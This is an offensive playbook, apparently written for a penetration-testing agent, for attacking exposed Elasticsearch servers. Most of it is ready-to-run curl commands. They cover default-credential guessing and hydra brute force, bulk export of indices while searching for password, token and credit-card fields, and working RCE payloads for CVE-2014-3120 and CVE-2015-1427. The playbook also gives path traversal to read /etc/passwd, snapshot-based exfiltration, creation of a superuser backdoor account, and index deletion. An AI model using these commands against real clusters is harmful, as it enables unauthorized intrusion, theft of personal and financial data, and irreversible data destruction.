Elasticsearch Unauthorized Access and Exploitation
- 攻击大类:C10 API与业务逻辑攻击
Elasticsearch listens on port 9200 by default with no authentication, and when exposed to the network it faces a large amount of sensitive data leakage and potential RCE risk.
⛔ Further Reading (Must Read)
- Full exploitation commands and payloads → read references/attack-techniques.md
Phase 1: Service Discovery and Version Identification
1.1 Basic Probing
# Request the root path directly, it returns the cluster name and version number
curl http://TARGET:9200/
# Cluster health status
curl http://TARGET:9200/_cat/health?v
curl http://TARGET:9200/_cluster/health?pretty
1.2 Nmap Scanning
# HTTP service identification
nmap -sV -p 9200,9300 TARGET
# Generic HTTP fingerprint scripts; for detailed ES enumeration prefer the curl APIs below
nmap -p 9200 --script http-title,http-headers TARGET
Key Decision:
- The returned JSON contains
cluster_name/version.number→ no authentication, go directly to Phase 3 - 401 / 403 returned → authentication is enabled, go to Phase 2
version.number< 1.2 → MVEL RCE is available (CVE-2014-3120)version.number1.3.x - 1.4.x → Groovy sandbox escape RCE is available (CVE-2015-1427)version.number>= 5.x → focus on Painless scripts and Ingest Pipelines
Phase 2: Unauthorized Access / Authentication Bypass Detection
2.1 Confirming the Absence of Authentication
# Access the core API endpoints directly
curl http://TARGET:9200/_cat/indices?v
curl http://TARGET:9200/_cluster/state?pretty
curl http://TARGET:9200/_nodes/stats?pretty
2.2 Default Credentials and X-Pack
# Common default credentials: elastic:changeme, elastic:elastic, admin:admin
curl -u elastic:changeme http://TARGET:9200/
curl -u elastic:elastic http://TARGET:9200/
curl -u admin:admin http://TARGET:9200/
# Check whether X-Pack Security is enabled
curl http://TARGET:9200/_xpack/security/user
curl http://TARGET:9200/_security/user
# Brute force
hydra -L users.txt -P passwords.txt TARGET http-get /_search
Phase 3: Attack Decision Tree
Connection successful?
├─ ES < 1.2 → MVEL RCE (/_search + script filter, CVE-2014-3120)
├─ ES 1.3.x-1.4.x → Groovy sandbox escape RCE (CVE-2015-1427)
├─ ES < 1.4.3 + _plugin → path traversal to read files
├─ ES >= 6.x + no authentication → bulk index data export
│ ├─ _cat/indices lists all indices
│ ├─ _search + _scroll for bulk export
│ └─ Search sensitive fields (password, token, email, credit_card)
├─ Snapshot repository access → snapshot data theft/restoration
├─ Ingest Pipeline access → Pipeline injection (data modification)
├─ Dynamic script access → script storage and execution
├─ Kibana exposed → Kibana console exploitation
└─ Cluster admin access → configuration tampering / malicious user creation
Preliminary Information Gathering:
# Get the version number (determines the attack path)
curl -s http://TARGET:9200/ | grep number
# List all indices (judge the data scale)
curl http://TARGET:9200/_cat/indices?v
# Get the cluster settings
curl http://TARGET:9200/_cluster/settings?pretty
# Get all index mappings (understand the data structure)
curl http://TARGET:9200/_all/_mapping?pretty
Phase 4: Data Theft Quick Reference
4.1 Index Enumeration
# List all indices
curl http://TARGET:9200/_cat/indices?v
# List all aliases
curl http://TARGET:9200/_aliases?pretty
# Get the index mapping (field structure)
curl http://TARGET:9200/INDEX_NAME/_mapping?pretty
4.2 Data Search and Export
# Search all data (returns 10 records by default)
curl -X POST http://TARGET:9200/_search?pretty \
-H 'Content-Type: application/json' -d '{
"query": {"match_all": {}},
"size": 1000
}'
# Search sensitive fields
curl -X POST http://TARGET:9200/_search?pretty \
-H 'Content-Type: application/json' -d '{
"query": {
"multi_match": {
"query": "password",
"fields": ["*"]
}
}
}'
4.3 Large Data Volumes with the _scroll API
# Initialize the scroll
curl -X POST http://TARGET:9200/INDEX_NAME/_search?scroll=5m \
-H 'Content-Type: application/json' -d '{
"query": {"match_all": {}},
"size": 5000
}'
# Keep fetching (use the _scroll_id returned by the previous step)
curl -X POST http://TARGET:9200/_search/scroll \
-H 'Content-Type: application/json' -d '{
"scroll": "5m",
"scroll_id": "SCROLL_ID_HERE"
}'
→ Read references/attack-techniques.md for the elasticdump bulk export commands
Phase 5: RCE Quick Reference
5.1 MVEL Expression Injection (ES < 1.2, CVE-2014-3120)
curl -X POST http://TARGET:9200/_search?pretty \
-H 'Content-Type: application/json' -d '{
"query": {
"filtered": {
"query": {"match_all": {}},
"filter": {
"script": {
"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"exec\",java.lang.Class.forName(\"java.lang.String\")).invoke(null,\"id\")"
}
}
}
}
}'
5.2 Groovy Sandbox Escape (ES 1.3.x-1.4.x, CVE-2015-1427)
curl -X POST http://TARGET:9200/_search?pretty \
-H 'Content-Type: application/json' -d '{
"query": {
"filtered": {
"filter": {
"script": {
"script": "def proc = \"id\".execute(); proc.waitFor(); proc.text()"
}
}
}
}
}'
5.3 Path Traversal (ES < 1.4.3)
curl http://TARGET:9200/_plugin/head/../../../../../../etc/passwd
curl http://TARGET:9200/_plugin/head/../../../../../../etc/elasticsearch/elasticsearch.yml
→ Read references/attack-techniques.md for the complete RCE payloads
Phase 6: Other Attack Vectors
6.1 Snapshot Repository Abuse
# Register a snapshot repository
curl -X PUT http://TARGET:9200/_snapshot/exfil_repo \
-H 'Content-Type: application/json' -d '{
"type": "fs",
"settings": {"location": "/tmp/snapshots"}
}'
# Create a snapshot
curl -X PUT http://TARGET:9200/_snapshot/exfil_repo/snap_1
# Restore the snapshot to a path reachable by the attacker
curl -X POST http://TARGET:9200/_snapshot/exfil_repo/snap_1/_restore
6.2 Ingest Pipeline Injection
# List the existing pipelines
curl http://TARGET:9200/_ingest/pipeline?pretty
# Create a malicious pipeline
curl -X PUT http://TARGET:9200/_ingest/pipeline/malicious \
-H 'Content-Type: application/json' -d '{
"description": "data interceptor",
"processors": [
{"set": {"field": "intercepted", "value": "true"}}
]
}'
6.3 Cluster Configuration Tampering
# Create a backdoor user (requires X-Pack admin privileges)
curl -X POST http://TARGET:9200/_xpack/security/user/attacker \
-H 'Content-Type: application/json' -d '{
"password": "password123",
"roles": ["superuser"]
}'
# Delete an index
curl -X DELETE http://TARGET:9200/INDEX_NAME
→ Read references/attack-techniques.md for the complete technical details
Tool Quick Reference
| Tool | Purpose |
|---|---|
| curl | ES REST API interaction (the basis of all operations) |
| elasticsearch-head | Cluster administration web UI plugin |
| Kibana | ES data visualization and Dev Tools queries |
| elasticdump | Bulk index data export/import |
| nmap | Port scanning, service identification, and generic HTTP fingerprint scripts |
| hydra | HTTP authentication brute force |
Notes
- All ES operations go through the REST API (HTTP); every command uses curl
- The
_scrollAPI is more efficient than_searchfor large data exports and avoids pulling all the data at once - RCE in older versions: MVEL works on ES < 1.2, Groovy sandbox escape works on ES 1.3.x-1.4.x, and both were removed in modern versions
_search?size=10000has an upper limit; beyond that, use_scrollorsearch_after- Deleting an index (
DELETE /index) is irreversible — confirm the target before operating - In production environments, avoid running full
match_allqueries on large indices; export in batches instead